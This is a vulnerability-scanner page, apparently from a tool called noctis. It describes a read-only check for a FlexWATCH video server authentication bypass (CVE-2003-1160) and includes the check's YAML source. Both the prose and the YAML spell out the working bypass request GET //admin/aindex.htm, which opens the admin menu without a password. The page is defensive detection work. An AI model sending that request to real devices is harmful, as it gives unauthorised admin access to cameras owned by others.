FlexWATCH — 1 vulnerability check
noctis ships 1 vulnerability check for FlexWATCH, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
FlexWATCH Network Video Server Admin Authentication Bypass
| CVE | CVE-2003-1160 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/flexwatch/CVE-2003-1160.yaml |
Detects the authentication bypass in the FlexWATCH network video server web interface (CVE-2003-1160): its embedded GoAhead-Webs server checks the admin password by URL prefix, so a request for the administration menu with two leading slashes (//admin/aindex.htm) is served without credentials. The feed first requests /admin/aindex.htm and goes on only when the device does not serve the admin menu there. It then requests //admin/aindex.htm and reports the device when that reply is a 200 from GoAhead-Webs whose body links the admin.htm and videocfg.htm configuration pages, which shows the password check was bypassed. Both requests only read the menu page.
How noctis detects it
- HTTP(S) request
GET /admin/aindex.htm - HTTP(S) request
GET //admin/aindex.htm - Checks
bypass.bodyforvideocfg\.htm→ finding QoD 75: FlexWATCH authentication bypass confirmed: GET /admin/aindex.htm answered … without the admin menu, while GET //admin/aindex.htm answered 2…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2003-1160
- http://packetstormsecurity.nl/0310-exploits/FlexWATCH.txt
- http://www.securityfocus.com/bid/8942
Feed source — tests/vulnerabilities/flexwatch/CVE-2003-1160.yaml
# FlexWATCH network video server — double-slash admin authentication bypass (CVE-2003-1160)
#
# Ported from OpenVAS/Greenbone NVT `pre2008/flexwatch_auth_bypass.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.12078, GPL-2.0-only). The NASL sends
# `GET //admin/aindex.htm` and reports when the reply contains "GoAhead-Webs",
# "admin.htm" and "videocfg.htm". The embedded GoAhead-Webs server protects
# the /admin/ tree by URL prefix, so a request starting with "//admin/" skips
# the password check and serves the administration menu.
#
# Detection (QoD 75, read-only: two GETs of the admin menu page, nothing set):
# 1. GET /admin/aindex.htm — on a password-protected device this is denied.
# 2. GET //admin/aindex.htm — only when step 1 did NOT serve the admin menu.
# The finding fires when this reply is a 200 from a GoAhead-Webs server
# whose body links both admin.htm and videocfg.htm.
#
# Better than the NASL: the NASL flags any GoAhead-Webs device whose admin menu
# is reachable at //admin/, including one with no admin password set at all,
# where the same page is reachable at /admin/ and nothing is bypassed. This
# feed requires the normal path to be refused first, so a finding proves the
# double slash got around a working password check. The Server marker is read
# from the Server header (the NASL searched the whole reply).
#
# `http_request` keeps the empty "//" path segment verbatim (only dot-segments
# are normalised), so no raw tcp_connect is needed.
uid: 63410558-0c95-414a-9651-955104e4c64f
name: "FlexWATCH Network Video Server Admin Authentication Bypass (CVE-2003-1160)"
description: |
Detects the authentication bypass in the FlexWATCH network video server
web interface (CVE-2003-1160): its embedded GoAhead-Webs server checks the
admin password by URL prefix, so a request for the administration menu with
two leading slashes (//admin/aindex.htm) is served without credentials.
The feed first requests /admin/aindex.htm and goes on only when the device
does not serve the admin menu there. It then requests //admin/aindex.htm
and reports the device when that reply is a 200 from GoAhead-Webs whose
body links the admin.htm and videocfg.htm configuration pages, which shows
the password check was bypassed. Both requests only read the menu page.
cves: [CVE-2003-1160]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [flexwatch, seyeon, goahead, ip-camera, video-server, auth-bypass]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2003-1160"
- "http://packetstormsecurity.nl/0310-exploits/FlexWATCH.txt"
- "http://www.securityfocus.com/bid/8942"
steps:
# Pre-initialise both stored results so the conditions below never read an
# undefined variable when a request fails.
- id: init-direct
action: set_var
var_name: direct
var_value: {status: 0, body: "", headers: {}}
- id: init-bypass
action: set_var
var_name: bypass
var_value: {status: 0, body: "", headers: {}}
# Normal path: a password-protected device refuses it (401).
- id: direct
action: http_request
method: GET
path: "/admin/aindex.htm"
tls_insecure: true
port: "{{port}}"
timeout_secs: 10
store_as: direct
# Double-slash path, only when the normal path did not serve the admin menu.
- id: bypass
action: http_request
method: GET
path: "//admin/aindex.htm"
tls_insecure: true
port: "{{port}}"
timeout_secs: 10
condition: "!(direct.status == 200 && stridx(direct.body, \"admin.htm\") >= 0 && stridx(direct.body, \"videocfg.htm\") >= 0)"
store_as: bypass
- id: confirm-bypass
action: match
source: bypass.body
pattern: "videocfg\\.htm"
condition: "bypass.status == 200 && \"server\" in bypass.headers && stridx(bypass.headers[\"server\"], \"GoAhead-Webs\") >= 0 && stridx(bypass.body, \"admin.htm\") >= 0 && !(direct.status == 200 && stridx(direct.body, \"admin.htm\") >= 0 && stridx(direct.body, \"videocfg.htm\") >= 0)"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "FlexWATCH authentication bypass confirmed: GET /admin/aindex.htm answered {{direct.status}} without the admin menu, while GET //admin/aindex.htm answered 200 from {{bypass.headers.server}} with the admin menu linking admin.htm and videocfg.htm"